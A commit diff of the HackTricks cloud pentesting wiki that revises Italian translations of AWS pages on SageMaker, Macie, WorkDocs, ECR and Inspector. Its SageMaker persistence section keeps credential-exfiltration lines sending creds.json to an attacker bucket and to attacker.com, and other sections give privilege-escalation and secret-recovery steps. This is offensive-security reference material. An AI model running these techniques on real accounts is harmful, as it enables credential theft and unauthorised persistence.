mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 13:56:30 -08:00
Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle
This commit is contained in:
@@ -1 +1,3 @@
|
||||
# AWS - Persistenza
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
# AWS - SageMaker Lifecycle Configuration Persistence
|
||||
# Aws Sagemaker Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Panoramica delle Tecniche di Persistenza
|
||||
|
||||
@@ -21,7 +23,7 @@ sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Imposta la Configurazione del Ciclo di Vita sulle Istanze Notebook
|
||||
## Imposta la Configurazione del Ciclo di Vita sulle Istanze del Notebook
|
||||
|
||||
### Esempi di Comandi AWS CLI:
|
||||
```bash
|
||||
@@ -101,13 +103,13 @@ aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Informazioni Critiche:
|
||||
* Allegare LCC a livello di dominio o spazio influisce su tutti gli utenti o applicazioni nell'ambito.
|
||||
* Richiede permessi più elevati (sagemaker:UpdateDomain, sagemaker:UpdateSpace) tipicamente più fattibili a livello di spazio che di dominio.
|
||||
* I controlli a livello di rete (ad es., filtraggio egress rigoroso) possono prevenire shell inverse o esfiltrazione di dati riuscite.
|
||||
* Allegare LCC a livello di dominio o spazio impatta tutti gli utenti o le applicazioni all'interno dell'ambito.
|
||||
* Richiede permessi più elevati (sagemaker:UpdateDomain, sagemaker:UpdateSpace) tipicamente più fattibili a livello di spazio che a livello di dominio.
|
||||
* I controlli a livello di rete (ad es., filtraggio egress rigoroso) possono prevenire shell inverse o esfiltrazione di dati con successo.
|
||||
|
||||
## Shell Inversa tramite Configurazione del Ciclo di Vita
|
||||
|
||||
Le Configurazioni del Ciclo di Vita di SageMaker (LCC) eseguono script personalizzati quando le istanze del notebook si avviano. Un attaccante con permessi può stabilire una shell inversa persistente.
|
||||
Le Configurazioni del Ciclo di Vita di SageMaker (LCC) eseguono script personalizzati quando le istanze del notebook vengono avviate. Un attaccante con permessi può stabilire una shell inversa persistente.
|
||||
|
||||
### Esempio di Payload:
|
||||
```
|
||||
@@ -153,4 +155,4 @@ aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# AWS - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Macie
|
||||
|
||||
Per ulteriori informazioni su Macie, controlla:
|
||||
Per ulteriori informazioni su Macie controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-macie-enum.md
|
||||
@@ -14,24 +14,25 @@ Per ulteriori informazioni su Macie, controlla:
|
||||
|
||||
AWS Macie è un servizio di sicurezza che rileva automaticamente dati sensibili all'interno degli ambienti AWS, come credenziali, informazioni personali identificabili (PII) e altri dati riservati. Quando Macie identifica una credenziale sensibile, come una chiave segreta AWS memorizzata in un bucket S3, genera un finding che consente al proprietario di visualizzare un "campione" dei dati rilevati. Tipicamente, una volta che il file sensibile è stato rimosso dal bucket S3, ci si aspetta che il segreto non possa più essere recuperato.
|
||||
|
||||
Tuttavia, è stato identificato un **bypass** in cui un attaccante con permessi sufficienti può **ri-caricare un file con lo stesso nome** ma contenente dati fittizi non sensibili. Questo fa sì che Macie associ il file appena caricato con il finding originale, consentendo all'attaccante di utilizzare la **funzione "Reveal Sample"** per estrarre il segreto precedentemente rilevato. Questo problema rappresenta un rischio significativo per la sicurezza, poiché i segreti che si presumevano eliminati rimangono recuperabili tramite questo metodo.
|
||||
Tuttavia, è stato identificato un **bypass** in cui un attaccante con permessi sufficienti può **ri-caricare un file con lo stesso nome** ma contenente dati fittizi diversi e non sensibili. Questo fa sì che Macie associ il file appena caricato con il finding originale, consentendo all'attaccante di utilizzare la **funzione "Reveal Sample"** per estrarre il segreto precedentemente rilevato. Questo problema rappresenta un rischio significativo per la sicurezza, poiché i segreti che si presumevano eliminati rimangono recuperabili tramite questo metodo.
|
||||
|
||||

|
||||
|
||||
**Steps To Reproduce:**
|
||||
|
||||
1. Carica un file (ad es., `test-secret.txt`) in un bucket S3 con dati sensibili, come una chiave segreta AWS. Attendi che AWS Macie scansiona e genera un finding.
|
||||
1. Carica un file (ad es., `test-secret.txt`) in un bucket S3 con dati sensibili, come una chiave segreta AWS. Aspetta che AWS Macie scansiona e genera un finding.
|
||||
|
||||
2. Naviga verso i Finding di AWS Macie, individua il finding generato e utilizza la funzione **Reveal Sample** per visualizzare il segreto rilevato.
|
||||
2. Naviga verso i Findings di AWS Macie, individua il finding generato e utilizza la funzione **Reveal Sample** per visualizzare il segreto rilevato.
|
||||
|
||||
3. Elimina `test-secret.txt` dal bucket S3 e verifica che non esista più.
|
||||
|
||||
4. Crea un nuovo file chiamato `test-secret.txt` con dati fittizi e ri-caricalo nello stesso bucket S3 utilizzando **l'account dell'attaccante**.
|
||||
|
||||
5. Torna ai Finding di AWS Macie, accedi al finding originale e clicca di nuovo su **Reveal Sample**.
|
||||
5. Torna ai Findings di AWS Macie, accedi al finding originale e clicca di nuovo su **Reveal Sample**.
|
||||
|
||||
6. Osserva che Macie rivela ancora il segreto originale, nonostante il file sia stato eliminato e sostituito con contenuti diversi **da account diversi, nel nostro caso sarà l'account dell'attaccante**.
|
||||
|
||||
**Summary:**
|
||||
|
||||
Questa vulnerabilità consente a un attaccante con permessi IAM AWS sufficienti di recuperare segreti precedentemente rilevati anche dopo che il file originale è stato eliminato da S3. Se una chiave segreta AWS, un token di accesso o un'altra credenziale sensibile viene esposta, un attaccante potrebbe sfruttare questo difetto per recuperarla e ottenere accesso non autorizzato alle risorse AWS. Questo potrebbe portare a un'escalation dei privilegi, accesso non autorizzato ai dati o ulteriore compromissione delle risorse cloud, con conseguenti violazioni dei dati e interruzioni del servizio.
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,8 +1,10 @@
|
||||
# AWS - Sagemaker Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWS - Sagemaker Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
@@ -17,7 +19,7 @@ La risposta dovrebbe contenere un campo `NotebookInstanceArn`, che conterrà l'A
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
Naviga all'URL con il browser e clicca su \`Open JupyterLab\` in alto a destra, poi scorri verso il basso fino alla scheda “Launcher” e sotto la sezione “Other”, clicca sul pulsante “Terminal”.
|
||||
Naviga all'URL con il browser e clicca su \`Open JupyterLab\` in alto a destra, poi scorri verso il basso alla scheda “Launcher” e sotto la sezione “Other”, clicca sul pulsante “Terminal”.
|
||||
|
||||
Ora è possibile accedere alle credenziali dei metadati del ruolo IAM.
|
||||
|
||||
@@ -29,11 +31,11 @@ Se ci sono **notebook Jupyter già in esecuzione** su di esso e puoi elencarli c
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker associato.
|
||||
**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker attaccato.
|
||||
|
||||
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
||||
|
||||
Un attaccante con tali permessi può fare in modo che **sagemaker esegua un processingjob** con un ruolo sagemaker associato. L'attaccante può indicare la definizione del contenitore che verrà eseguito in un **istanza di account ECS gestita da AWS**, e **rubare le credenziali del ruolo IAM associato**.
|
||||
Un attaccante con tali permessi può far **eseguire a sagemaker un processingjob** con un ruolo sagemaker attaccato. L'attaccante può indicare la definizione del contenitore che verrà eseguito in un **istanza di account ECS gestita da AWS**, e **rubare le credenziali del ruolo IAM attaccato**.
|
||||
```bash
|
||||
# I uploaded a python docker image to the ECR
|
||||
aws sagemaker create-processing-job \
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
# AWS - WorkDocs Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## WorkDocs
|
||||
|
||||
Per ulteriori informazioni su WorkDocs controlla:
|
||||
@@ -15,7 +17,7 @@ Crea un utente all'interno della Directory indicata, quindi avrai accesso sia a
|
||||
# Create user (created inside the AD)
|
||||
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
|
||||
```
|
||||
### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
|
||||
### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
|
||||
|
||||
I file potrebbero contenere informazioni sensibili, leggili:
|
||||
```bash
|
||||
@@ -39,8 +41,13 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
|
||||
### `workdocs:AddUserToGroup`
|
||||
|
||||
Puoi rendere un utente amministratore impostandolo nel gruppo ZOCALO_ADMIN.\
|
||||
Per farlo, segui le istruzioni di [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
|
||||
Per farlo, segui le istruzioni da [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
|
||||
|
||||
Accedi con quell'utente in workdoc e accedi al pannello di amministrazione in `/workdocs/index.html#/admin`
|
||||
|
||||
Non ho trovato alcun modo per farlo dalla cli.
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,10 @@
|
||||
# AWS - ECR Enum
|
||||
|
||||
## AWS - ECR Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### ECR
|
||||
## ECR
|
||||
|
||||
#### Informazioni di base
|
||||
### Informazioni di base
|
||||
|
||||
Amazon **Elastic Container Registry** (Amazon ECR) è un **servizio di registrazione di immagini di container gestito**. È progettato per fornire un ambiente in cui i clienti possono interagire con le loro immagini di container utilizzando interfacce ben note. In particolare, è supportato l'uso del Docker CLI o di qualsiasi client preferito, consentendo attività come il caricamento, il download e la gestione delle immagini di container.
|
||||
|
||||
@@ -18,16 +16,16 @@ Ogni account AWS ha 2 registri: **Privati** e **Pubblici**.
|
||||
|
||||
1. **Registri Privati**:
|
||||
|
||||
- **Privati per impostazione predefinita**: Le immagini di container memorizzate in un registro privato Amazon ECR sono **accessibili solo agli utenti autorizzati** all'interno del tuo account AWS o a coloro a cui è stata concessa l'autorizzazione.
|
||||
- **Privati per impostazione predefinita**: Le immagini di container memorizzate in un registro privato di Amazon ECR sono **accessibili solo agli utenti autorizzati** all'interno del tuo account AWS o a coloro a cui è stata concessa l'autorizzazione.
|
||||
- L'URI di un **repository privato** segue il formato `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
|
||||
- **Controllo accessi**: Puoi **controllare l'accesso** alle tue immagini di container private utilizzando **politiche IAM**, e puoi configurare permessi dettagliati basati su utenti o ruoli.
|
||||
- **Integrazione con i servizi AWS**: I registri privati Amazon ECR possono essere facilmente **integrati con altri servizi AWS**, come EKS, ECS...
|
||||
- **Controllo degli accessi**: Puoi **controllare l'accesso** alle tue immagini di container private utilizzando **politiche IAM**, e puoi configurare permessi dettagliati basati su utenti o ruoli.
|
||||
- **Integrazione con i servizi AWS**: I registri privati di Amazon ECR possono essere facilmente **integrati con altri servizi AWS**, come EKS, ECS...
|
||||
- **Altre opzioni per i registri privati**:
|
||||
- La colonna dell'immutabilità dei tag elenca il suo stato, se l'immutabilità dei tag è abilitata, **prevenirà** i **push** di immagini con **tag preesistenti** di sovrascrivere le immagini.
|
||||
- La colonna del **tipo di crittografia** elenca le proprietà di crittografia del repository, mostra i tipi di crittografia predefiniti come AES-256, o ha crittografie abilitate **KMS**.
|
||||
- La colonna del **Pull through cache** elenca il suo stato, se lo stato del Pull through cache è Attivo, memorizzerà nella cache **repository in un repository pubblico esterno nel tuo repository privato**.
|
||||
- Politiche **IAM specifiche** possono essere configurate per concedere diverse **autorizzazioni**.
|
||||
- La **configurazione della scansione** consente di cercare vulnerabilità nelle immagini memorizzate all'interno del repository.
|
||||
- La **configurazione della scansione** consente di scansionare le vulnerabilità nelle immagini memorizzate all'interno del repository.
|
||||
|
||||
2. **Registri Pubblici**:
|
||||
|
||||
@@ -41,13 +39,13 @@ Queste sono le **immagini** che si trovano nel **registro privato** o in quello
|
||||
> [!NOTE]
|
||||
> Nota che per caricare un'immagine in un repository, il **repository ECR deve avere lo stesso nome dell'immagine**.
|
||||
|
||||
#### Politiche di Registry & Repository
|
||||
#### Politiche di Registro e Repository
|
||||
|
||||
**Registries e repositories** hanno anche **politiche che possono essere utilizzate per concedere autorizzazioni ad altri principi/account**. Ad esempio, nella seguente immagine della politica del repository puoi vedere come qualsiasi utente dell'intera organizzazione sarà in grado di accedere all'immagine:
|
||||
|
||||
<figure><img src="../../../images/image (280).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Enumerazione
|
||||
### Enumerazione
|
||||
```bash
|
||||
# Get repos
|
||||
aws ecr describe-repositories
|
||||
@@ -67,27 +65,27 @@ aws ecr-public describe-repositories
|
||||
aws ecr get-registry-policy
|
||||
aws ecr get-repository-policy --repository-name <repo_name>
|
||||
```
|
||||
#### Enum non autenticato
|
||||
### Enum non autenticato
|
||||
|
||||
{{#ref}}
|
||||
../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
#### Privesc
|
||||
### Privesc
|
||||
|
||||
Nella pagina seguente puoi controllare come **abusare dei permessi ECR per escalare i privilegi**:
|
||||
Nella pagina seguente puoi controllare come **abuse ECR permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-ecr-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
#### Post Exploitation
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-ecr-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
#### Persistenza
|
||||
### Persistenza
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-ecr-persistence.md
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# AWS - Servizi di Sicurezza e Rilevamento
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,42 +1,40 @@
|
||||
# AWS - Inspector Enum
|
||||
|
||||
## AWS - Inspector Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Inspector
|
||||
## Inspector
|
||||
|
||||
Amazon Inspector è un servizio avanzato e automatizzato di gestione delle vulnerabilità progettato per migliorare la sicurezza del tuo ambiente AWS. Questo servizio esegue continuamente la scansione delle istanze Amazon EC2, delle immagini dei container in Amazon ECR, di Amazon ECS e delle funzioni AWS Lambda per vulnerabilità e esposizioni involontarie della rete. Sfruttando un robusto database di intelligence sulle vulnerabilità, Amazon Inspector fornisce risultati dettagliati, inclusi livelli di gravità e raccomandazioni per la remediation, aiutando le organizzazioni a identificare e affrontare proattivamente i rischi per la sicurezza. Questo approccio completo garantisce una postura di sicurezza rinforzata attraverso vari servizi AWS, supportando la conformità e la gestione del rischio.
|
||||
Amazon Inspector è un servizio avanzato e automatizzato di gestione delle vulnerabilità progettato per migliorare la sicurezza del tuo ambiente AWS. Questo servizio esegue continuamente scansioni delle istanze Amazon EC2, delle immagini dei container in Amazon ECR, di Amazon ECS e delle funzioni AWS Lambda per vulnerabilità e esposizioni involontarie della rete. Sfruttando un robusto database di intelligence sulle vulnerabilità, Amazon Inspector fornisce risultati dettagliati, inclusi livelli di gravità e raccomandazioni per la risoluzione, aiutando le organizzazioni a identificare e affrontare proattivamente i rischi per la sicurezza. Questo approccio completo garantisce una postura di sicurezza rinforzata attraverso vari servizi AWS, supportando la conformità e la gestione del rischio.
|
||||
|
||||
### Key elements
|
||||
|
||||
#### Findings
|
||||
|
||||
I risultati in Amazon Inspector sono rapporti dettagliati su vulnerabilità ed esposizioni scoperte durante la scansione delle istanze EC2, dei repository ECR o delle funzioni Lambda. In base al suo stato, i risultati sono categorizzati come:
|
||||
I risultati in Amazon Inspector sono rapporti dettagliati sulle vulnerabilità e le esposizioni scoperte durante la scansione delle istanze EC2, dei repository ECR o delle funzioni Lambda. In base al loro stato, i risultati sono categorizzati come:
|
||||
|
||||
- **Active**: Il risultato non è stato rimediato.
|
||||
- **Closed**: Il risultato è stato rimediato.
|
||||
- **Suppressed**: Il risultato è stato contrassegnato con questo stato a causa di una o più **regole di soppressione**.
|
||||
- **Active**: Il risultato non è stato risolto.
|
||||
- **Closed**: Il risultato è stato risolto.
|
||||
- **Suppressed**: Il risultato è stato contrassegnato con questo stato a causa di una o più **suppression rules**.
|
||||
|
||||
I risultati sono anche categorizzati nei seguenti tre tipi:
|
||||
|
||||
- **Package**: Questi risultati riguardano vulnerabilità in pacchetti software installati sulle tue risorse. Esempi includono librerie obsolete o dipendenze con problemi di sicurezza noti.
|
||||
- **Package**: Questi risultati riguardano vulnerabilità nei pacchetti software installati sulle tue risorse. Esempi includono librerie obsolete o dipendenze con problemi di sicurezza noti.
|
||||
- **Code**: Questa categoria include vulnerabilità trovate nel codice delle applicazioni in esecuzione sulle tue risorse AWS. Problemi comuni sono errori di codifica o pratiche insicure che potrebbero portare a violazioni della sicurezza.
|
||||
- **Network**: I risultati di rete identificano potenziali esposizioni nelle configurazioni di rete che potrebbero essere sfruttate dagli attaccanti. Questi includono porte aperte, protocolli di rete insicuri e gruppi di sicurezza mal configurati.
|
||||
|
||||
#### Filters and Suppression Rules
|
||||
|
||||
I filtri e le regole di soppressione in Amazon Inspector aiutano a gestire e dare priorità ai risultati. I filtri consentono di affinare i risultati in base a criteri specifici, come gravità o tipo di risorsa. Le regole di soppressione consentono di sopprimere determinati risultati considerati a basso rischio, già mitigati o per qualsiasi altro motivo importante, prevenendo il sovraccarico dei rapporti di sicurezza e consentendoti di concentrarti su questioni più critiche.
|
||||
I filtri e le regole di soppressione in Amazon Inspector aiutano a gestire e dare priorità ai risultati. I filtri consentono di affinare i risultati in base a criteri specifici, come gravità o tipo di risorsa. Le regole di soppressione consentono di sopprimere determinati risultati considerati a basso rischio, già mitigati o per qualsiasi altro motivo importante, evitando che sovraccarichino i tuoi rapporti di sicurezza e permettendoti di concentrarti su questioni più critiche.
|
||||
|
||||
#### Software Bill of Materials (SBOM)
|
||||
|
||||
Una Software Bill of Materials (SBOM) in Amazon Inspector è un elenco di inventario annidato esportabile che dettaglia tutti i componenti all'interno di un pacchetto software, incluse librerie e dipendenze. Le SBOM aiutano a fornire trasparenza nella catena di fornitura del software, consentendo una migliore gestione delle vulnerabilità e conformità. Sono cruciali per identificare e mitigare i rischi associati a componenti software open source e di terze parti.
|
||||
Una Software Bill of Materials (SBOM) in Amazon Inspector è un elenco di inventario annidato esportabile che dettaglia tutti i componenti all'interno di un pacchetto software, incluse librerie e dipendenze. Le SBOM aiutano a fornire trasparenza nella catena di fornitura del software, consentendo una migliore gestione delle vulnerabilità e conformità. Sono cruciali per identificare e mitigare i rischi associati ai componenti software open source e di terze parti.
|
||||
|
||||
### Key features
|
||||
|
||||
#### Export findings
|
||||
|
||||
Amazon Inspector offre la possibilità di esportare i risultati in Amazon S3 Buckets, Amazon EventBridge e AWS Security Hub, il che ti consente di generare rapporti dettagliati delle vulnerabilità e delle esposizioni identificate per ulteriori analisi o condivisione in una data e ora specifiche. Questa funzionalità supporta vari formati di output come CSV e JSON, facilitando l'integrazione con altri strumenti e sistemi. La funzionalità di esportazione consente la personalizzazione dei dati inclusi nei rapporti, consentendoti di filtrare i risultati in base a criteri specifici come gravità, tipo di risorsa o intervallo di date e includendo per impostazione predefinita tutti i tuoi risultati nella regione AWS corrente con uno stato Attivo.
|
||||
Amazon Inspector offre la possibilità di esportare i risultati in Amazon S3 Buckets, Amazon EventBridge e AWS Security Hub, il che ti consente di generare rapporti dettagliati delle vulnerabilità e delle esposizioni identificate per ulteriori analisi o condivisione in una data e ora specifiche. Questa funzionalità supporta vari formati di output come CSV e JSON, facilitando l'integrazione con altri strumenti e sistemi. La funzionalità di esportazione consente la personalizzazione dei dati inclusi nei rapporti, permettendoti di filtrare i risultati in base a criteri specifici come gravità, tipo di risorsa o intervallo di date e includendo per impostazione predefinita tutti i tuoi risultati nella regione AWS corrente con uno stato Attivo.
|
||||
|
||||
Quando si esportano i risultati, è necessario una chiave del Key Management Service (KMS) per crittografare i dati durante l'esportazione. Le chiavi KMS garantiscono che i risultati esportati siano protetti da accessi non autorizzati, fornendo un ulteriore livello di sicurezza per le informazioni sensibili sulle vulnerabilità.
|
||||
|
||||
@@ -50,9 +48,9 @@ Amazon Inspector offre robuste capacità di scansione per le istanze Amazon EC2
|
||||
La modalità di scansione determina quale metodo sarà utilizzato per eseguire le scansioni EC2:
|
||||
|
||||
- **Agent-Based**: Comporta l'installazione dell'agente SSM sulle istanze EC2 per un'ispezione approfondita.
|
||||
- **Hybrid Scanning**: Combina metodi agent-based e agentless per massimizzare la copertura e minimizzare l'impatto sulle prestazioni. In quelle istanze EC2 dove è installato l'agente SSM, Inspector eseguirà una scansione agent-based, e per quelle dove non c'è l'agente SSM, la scansione eseguita sarà agentless.
|
||||
- **Hybrid Scanning**: Combina metodi agent-based e agentless per massimizzare la copertura e minimizzare l'impatto sulle prestazioni. In quelle istanze EC2 dove l'agente SSM è installato, Inspector eseguirà una scansione agent-based, e per quelle dove non c'è l'agente SSM, la scansione eseguita sarà agentless.
|
||||
|
||||
Un'altra caratteristica importante è l'**ispezione approfondita** per le istanze Linux EC2. Questa funzione offre un'analisi approfondita del software e della configurazione delle istanze Linux EC2, fornendo valutazioni dettagliate delle vulnerabilità, incluse vulnerabilità del sistema operativo, vulnerabilità delle applicazioni e mal configurazioni, garantendo una valutazione completa della sicurezza. Questo viene realizzato attraverso l'ispezione di **custom paths** e di tutte le sue sottodirectory. Per impostazione predefinita, Amazon Inspector scansionerà i seguenti, ma ogni account membro può definire fino a 5 percorsi personalizzati aggiuntivi, e ogni amministratore delegato fino a 10:
|
||||
Un'altra caratteristica importante è l'**ispezione approfondita** per le istanze Linux EC2. Questa funzionalità offre un'analisi approfondita del software e della configurazione delle istanze Linux EC2, fornendo valutazioni dettagliate delle vulnerabilità, incluse vulnerabilità del sistema operativo, vulnerabilità delle applicazioni e mal configurazioni, garantendo una valutazione della sicurezza completa. Questo viene realizzato attraverso l'ispezione di **custom paths** e tutte le sue sottodirectory. Per impostazione predefinita, Amazon Inspector scansionerà i seguenti, ma ogni account membro può definire fino a 5 percorsi personalizzati aggiuntivi, e ogni amministratore delegato fino a 10:
|
||||
|
||||
- `/usr/lib`
|
||||
- `/usr/lib64`
|
||||
@@ -63,15 +61,15 @@ Un'altra caratteristica importante è l'**ispezione approfondita** per le istanz
|
||||
|
||||
Amazon Inspector fornisce robuste capacità di scansione per le immagini dei container di Amazon Elastic Container Registry (ECR), garantendo che le vulnerabilità dei pacchetti siano rilevate e gestite in modo efficiente.
|
||||
|
||||
- **Basic Scanning**: Questa è una scansione rapida e leggera che identifica vulnerabilità note dei pacchetti OS nelle immagini dei container utilizzando un insieme standard di regole dal progetto open-source Clair. Con questa configurazione di scansione, i tuoi repository saranno scansionati al momento del push o eseguendo scansioni manuali.
|
||||
- **Basic Scanning**: Questa è una scansione rapida e leggera che identifica vulnerabilità note nei pacchetti OS nelle immagini dei container utilizzando un insieme standard di regole dal progetto open-source Clair. Con questa configurazione di scansione, i tuoi repository saranno scansionati al momento del push o eseguendo scansioni manuali.
|
||||
- **Enhanced Scanning**: Questa opzione aggiunge la funzionalità di scansione continua oltre alla scansione al momento del push. La scansione avanzata approfondisce i livelli di ogni immagine del container per identificare vulnerabilità nei pacchetti OS e nei pacchetti dei linguaggi di programmazione con maggiore precisione. Analizza sia l'immagine di base che eventuali livelli aggiuntivi, fornendo una visione completa dei potenziali problemi di sicurezza.
|
||||
|
||||
#### Amazon Lambda functions scanning
|
||||
|
||||
Amazon Inspector include capacità di scansione complete per le funzioni AWS Lambda e i suoi livelli, garantendo la sicurezza e l'integrità delle applicazioni serverless. Inspector offre due tipi di scansione per le funzioni Lambda:
|
||||
|
||||
- **Lambda standard scanning**: Questa funzione predefinita identifica vulnerabilità software nelle dipendenze del pacchetto dell'applicazione aggiunte alla tua funzione Lambda e ai livelli. Ad esempio, se la tua funzione utilizza una versione di una libreria come python-jwt con una vulnerabilità nota, genera un risultato.
|
||||
- **Lambda code scanning**: Analizza il codice dell'applicazione personalizzata per problemi di sicurezza, rilevando vulnerabilità come difetti di iniezione, perdite di dati, crittografia debole e mancanza di crittografia. Cattura frammenti di codice evidenziando le vulnerabilità rilevate, come credenziali hardcoded. I risultati includono suggerimenti dettagliati per la remediation e frammenti di codice per risolvere i problemi.
|
||||
- **Lambda standard scanning**: Questa funzionalità predefinita identifica vulnerabilità software nelle dipendenze del pacchetto dell'applicazione aggiunte alla tua funzione Lambda e ai livelli. Ad esempio, se la tua funzione utilizza una versione di una libreria come python-jwt con una vulnerabilità nota, genera un risultato.
|
||||
- **Lambda code scanning**: Analizza il codice dell'applicazione personalizzata per problemi di sicurezza, rilevando vulnerabilità come difetti di iniezione, perdite di dati, crittografia debole e mancanza di crittografia. Cattura frammenti di codice evidenziando le vulnerabilità rilevate, come credenziali hardcoded. I risultati includono suggerimenti dettagliati per la risoluzione e frammenti di codice per correggere i problemi.
|
||||
|
||||
#### **Center for Internet Security (CIS) scans**
|
||||
|
||||
@@ -79,7 +77,7 @@ Amazon Inspector include scansioni CIS per confrontare i sistemi operativi delle
|
||||
|
||||
- **Configuration**: Le scansioni CIS valutano se le configurazioni di sistema soddisfano specifiche raccomandazioni del CIS Benchmark, con ogni controllo collegato a un ID di controllo e titolo CIS.
|
||||
- **Execution**: Le scansioni vengono eseguite o programmate in base ai tag delle istanze e agli orari definiti.
|
||||
- **Results**: I risultati post-scansione indicano quali controlli sono stati superati, saltati o falliti, fornendo informazioni sulla postura di sicurezza di ciascuna istanza.
|
||||
- **Results**: I risultati post-scan indicano quali controlli sono stati superati, saltati o falliti, fornendo informazioni sulla postura di sicurezza di ciascuna istanza.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -191,7 +189,7 @@ aws inspector list-rules-packages
|
||||
|
||||
#### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
|
||||
|
||||
Un attaccante potrebbe generare report dettagliati di vulnerabilità o fatture dei materiali software (SBOM) ed esfiltrarli dal tuo ambiente AWS. Queste informazioni potrebbero essere sfruttate per identificare debolezze specifiche, software obsoleto o dipendenze insicure, consentendo attacchi mirati.
|
||||
Un attaccante potrebbe generare report dettagliati di vulnerabilità o fatture dei materiali software (SBOM) ed esfiltrarli dal tuo ambiente AWS. Queste informazioni potrebbero essere sfruttate per identificare debolezze specifiche, software obsoleto o dipendenze insicure, abilitando attacchi mirati.
|
||||
```bash
|
||||
# Findings report
|
||||
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
|
||||
@@ -257,7 +255,7 @@ L'esempio seguente mostra come esfiltrare tutte le scoperte attive da Amazon Ins
|
||||
]
|
||||
}
|
||||
```
|
||||
3. Esegui il comando per **creare il rapporto sui risultati** esfiltrandolo:
|
||||
3. Esegui il comando per **creare il report delle scoperte** esfiltrandolo:
|
||||
```bash
|
||||
aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
|
||||
```
|
||||
@@ -272,11 +270,11 @@ aws inspector2 cancel-findings-report --report-id <value>
|
||||
# Cancel SBOM report generatiom
|
||||
aws inspector2 cancel-sbom-export --report-id <value>
|
||||
```
|
||||
- **Impatto Potenziale**: Interruzione del monitoraggio della sicurezza e prevenzione della rilevazione e rimedio tempestivi delle problematiche di sicurezza.
|
||||
- **Impatto Potenziale**: Interruzione del monitoraggio della sicurezza e prevenzione della rilevazione e rimedio tempestivo dei problemi di sicurezza.
|
||||
|
||||
#### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
|
||||
|
||||
Un attaccante con questi permessi sarebbe in grado di manipolare le regole di filtraggio che determinano quali vulnerabilità e problematiche di sicurezza vengono segnalate o soppresse (se l'**azione** è impostata su SUPPRESS, verrebbe creata una regola di soppressione). Questo potrebbe nascondere vulnerabilità critiche agli amministratori della sicurezza, rendendo più facile sfruttare queste debolezze senza essere rilevati. Alterando o rimuovendo filtri importanti, un attaccante potrebbe anche creare rumore inondando il sistema con risultati irrilevanti, ostacolando un monitoraggio e una risposta alla sicurezza efficaci.
|
||||
